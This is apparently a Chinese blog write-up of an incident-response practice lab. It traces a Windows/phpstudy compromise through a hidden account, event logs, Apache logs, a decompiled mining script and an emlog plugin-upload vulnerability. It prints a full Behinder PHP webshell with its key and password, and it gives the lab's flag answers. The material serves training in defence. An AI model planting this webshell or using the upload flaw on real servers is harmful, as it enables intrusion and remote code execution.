应急响应——知攻善防蓝队靶机Web-1溯源过程

这段时间一直在学习内网横向以及代理的知识,相信大家也都看腻了,今天给大家换个口味;

重新拿应急响应的靶机练练手,找回当安服仔的感觉;

文章目录


挑战内容-Web1

前景需要:

小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容,并作为通关条件:

  1. 攻击者的shell密码
  2. 攻击者的IP地址
  3. 攻击者的隐藏账户名称
  4. 攻击者挖矿程序的矿池域名(仅域名)
  5. 有实力的可以尝试着修复漏洞
  • 靶机环境:

    • Windows Server 2022
    • phpstudy(小皮面板)
  • 账号密码:

    • 用户:administrator
    • 密码:Zgsf@admin.com

因为本次靶机难度较小,主要是用来找找手感,所以大部分步骤涉及Windows应急响应

大家可以看看这篇文章了解一下基本的思路:Windows日志分析

本次主要是介绍我的应急思路,就不按着题目去找flag了;发现什么是什么

(好处就是比较贴近真实生产环境,不会僵化思维)


应急思路

首先,我们登陆靶机,发现是一台Server 2012的服务器:

根据题目"发现有CPU占用飙升",我就猜测系统的计划任务或者开启启动项可能存在脚本,于是进行查找:

计划任务排查(无异常)

单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现文件的路径:

打开后点击:Microsoft ---> Windows即可进行查看:

这里我们发现了一个计划任务$(@%systemroot%\system32\SrvInitConfig.exe,-101),看样子有点异常;

  • (一般 %systemroot% 就是 C:\Windows 路径)

因为处于禁用状态,我又去他的文件路径 C:\system32\ 进行查看,没发现什么异常;

开机启动项排查(无异常)

(1)登录服务器,单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件:

(2)组策略检查:打开cmd命令行运行 gpedit.msc

均未发现异常;


隐藏用户排查(异常)

既然上述都没有发现异常,我们就从隐藏用户下手;因为正常的攻击者入侵系统后肯定会建立后门或者用户,方便下次登陆:

bash 复制代码
# 列出所有本地用户(基础排查)
net user   ------隐藏用户排查不出来

# 获取用户详细信息(含状态、描述、SID)
wmic useraccount get Name,Status,Description,Disabled,SID

通过这两条命令,我们可以得到后门用户生成的时间;

而这也为我们确定了攻击者攻击的大概时间:2024/2/26 23:01:13

输入命令,可以得到攻击者创建的隐藏用户:hack168$

所以我们可以得到的隐藏账户名称;

日志排查

在Windows中,在进行溯源的时候,我们通常是查看"安全 ""系统 ""应用程序 "这三个日志(2025下半年软考考了喔,别问我怎么知道的):

Win+R 打开运行,输入 "eventvwr.msc ",回车运行,打开"事件查看器":

(这里我们通常可以按照特定事件ID来进行排查):

4624:表示帐户已成功登录。这个事件ID可以用来筛选系统中所有成功登录的记录

4625:表示帐户登录失败。这个事件ID可以帮助我们判断是否存在RDP爆破攻击等情况

4634:表示帐户被注销。这个事件ID记录了用户注销的情况 4647:表示用户发起注销。

4648:表示试图使用明确的凭证登录。这个事件ID可以查看远程登录的相关信息,比如IP地址等

4672:表示超级管理员登录

4720:表示新用户的创建

所以我们可以输入相应的ID来进行查询,在经过排查后,基本可以确定攻击者的攻击时间为从2024/2/26 22:16分开始:

并且在创建隐藏用户后,尝试了登陆:

--

既然通过日志知道了攻击者的大概时间,那么接下来我们就可以去Web系统的日志来进一步的调查了;

  • 正常的攻击思路:Web服务器 --->利用漏洞获取主机www用户 ---> 获取主机SYSTEM权限
  • 蓝队溯源思路:日志了解攻击时间 --->Web服务器日志查看利用了什么方法进入 --->找到攻击路径

所以我们来到文件,发现phpstudy搭建的是Apache的服务,那我们直接查看他的access.logerror.log即可:


主要查看这两个文件,经过一段时间的排查,我们可以发现在/content/plugins/tips/路径出现大量的shell.php:

而往上翻,可以发现大量的account.php的使用(合理猜测是登陆的页面 ,被攻击者进行爆破攻击)

而看IP地址,可以得知攻击者IP为192.168.126.1

攻击路径还原:攻击者爆破攻击 成功进入Web系统 ------>通过Web服务的/content/plugins/tips/上传shell.php ------> 获取了主机的权限 ------> 通过命令提权并建立隐藏用户 ------> 生成挖矿程序消耗目标机器 ------>造成CPU资源耗尽

找到隐藏文件

随后我们根据日志的路径,来到服务器的相应路径上,发现了shell.php文件:

打开后发现为冰蝎的shell,一打开就报毒:

得到文件内容:

bash 复制代码
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

随后对e45e329feb5d925b进行解密,密码为rebeyond


攻击者挖矿程序的矿池域名(仅域名)

我们之前不是找到了隐藏用户吗,我们到他的用户目录下查看有哪些可疑文件:


发现了一个挖矿文件,一点击执行,电脑直接崩了。。。

随后我我们使用工具pyinstxtractor对exe文件进行进行解包:

解压为pyc文件,随后反编译成py文件:

再使用工具uncompyle6将pyc文件反编译成py文件:

bash 复制代码
pip install uncompyle6
uncompyle6 Kuang.pyc

下载模块:

成功得到python文件:

bash 复制代码
# uncompyle6 version 3.9.3
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.11.3 (tags/v3.11.3:f3909b8, Apr  4 2023, 23:49:59) [MSC v.1934 64 bit (AMD64)]
# Embedded file name: Kuang.py
import multiprocessing, requests

def cpu_intensive_task():
    while True:
        try:
            requests.get("http://wakuang.zhigongshanfang.top", timeout=10)
        except:
            pass


if __name__ == "__main__":
    cpu_count = multiprocessing.cpu_count()
    processes = [multiprocessing.Process(target=cpu_intensive_task) for _ in range(cpu_count)]
    for process in processes:
        process.start()
    else:
        for process in processes:
            process.join()

# okay decompiling Kuang.pyc

矿池域名:wakuang.zhigongshanfang.top

有实力的可以尝试着修复漏洞

我们打开phpstudy的Apache和MySQL服务,然后到网站看看它搭建了一个什么服务:

输入网址:http://192.168.44.167/

发现了几个功能点,在我们熟悉系统的同时,用dirsearch扫描一下这个系统的目录:

bash 复制代码
python dirsearch.py -u http://192.168.44.167/


发现了不少东西,其中就有我们很熟悉的登陆接口:./account.php?action=signin

查看它使用的框架:

再去查找相应的漏洞:

emlog v2.5.3版本存在文件上传漏洞,该漏洞源于admin/plugin.php插件组件对上传的文件缺少有效的验证。攻击者可利用该漏洞上传恶意文件从而远程执行任意代码。

  • 准备一个名为shell的文件夹,里面包含shell.php,文件内容<?php phpinfo();
  • 访问目录:/content/plugins/shell/shell.php,成功回显phpinfo

还记得我们之前检查日志时,发现的爆破行为吗;所以我们可以猜测这个系统存在弱口令漏洞

用bp进行爆破后,成功进入后台系统:

而针对这个系统的漏洞:

  • 使用强口令
  • 及时更新系统版本
  • 对每个登陆的用户进行身份认证,赋予唯一的Session ID

解题成功

用cmd打开桌面上的解题.exe,分别输入命令:


成功解题:

bash 复制代码
C:\Users\Administrator\Desktop>解题.exe
公众号:知攻善防实验室
欢迎使用知攻善防实验室-应急响应训练靶机解题系统
在此之前,您应该获取到以下信息
1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名
你准备好了吗?(y or n)y
请输入攻击者的shell密码:rebeyond
题解正确!
请输入攻击者的IP地址192.168.126.1
题解正确!
请输入攻击者的隐藏账户名称:hack168$
题解正确!
请输入攻击者挖矿程序的矿池域名:wakuang.zhigongshanfang.top
题解正确!
恭喜您,该靶机已被您攻破!
恭喜您,该靶机已被您攻破!
恭喜您,该靶机已被您攻破!
恭喜您,该靶机已被您攻破!

总结

本次靶机难度不高,主要适合刚入门尝试练习的师傅;

期待下次再见;

相关推荐
云计算练习生4 小时前
渗透测试行业术语扫盲(第十七篇)—— 合规、开发与职业类
网络·网络安全·信息安全·渗透测试术语·网络安全规范
未来之窗软件服务4 小时前
浏览器开发CEF(二十一)C#浏览器 Promise模式调用——东方仙盟元婴期
前端·javascript·html·仙盟创梦ide·东方仙盟·东方仙盟vos智能浏览器
Smile灬凉城6664 小时前
TCP的四种计时器
运维·服务器·网络
dyxal4 小时前
块状Bootstrap:让金融时间序列“记忆”不丢失的魔法
前端·金融·bootstrap
华仔啊4 小时前
深入理解 CSS 伪类和伪元素的本质区别
前端·css
Dovis(誓平步青云)4 小时前
《Linux内核视角:自定义协议与TCP的协同通信之道》
网络·网络协议·tcp/ip
xingzhemengyou14 小时前
python pandas操作excel
python·excel·pandas
HIT_Weston4 小时前
64、【Ubuntu】【Gitlab】拉出内网 Web 服务:Gitlab 配置审视(八)
前端·ubuntu·gitlab
广东大榕树信息科技有限公司4 小时前
如何通过动环监控系统提升机房安全与管理效率?
运维·网络·物联网·国产动环监控系统·动环监控系统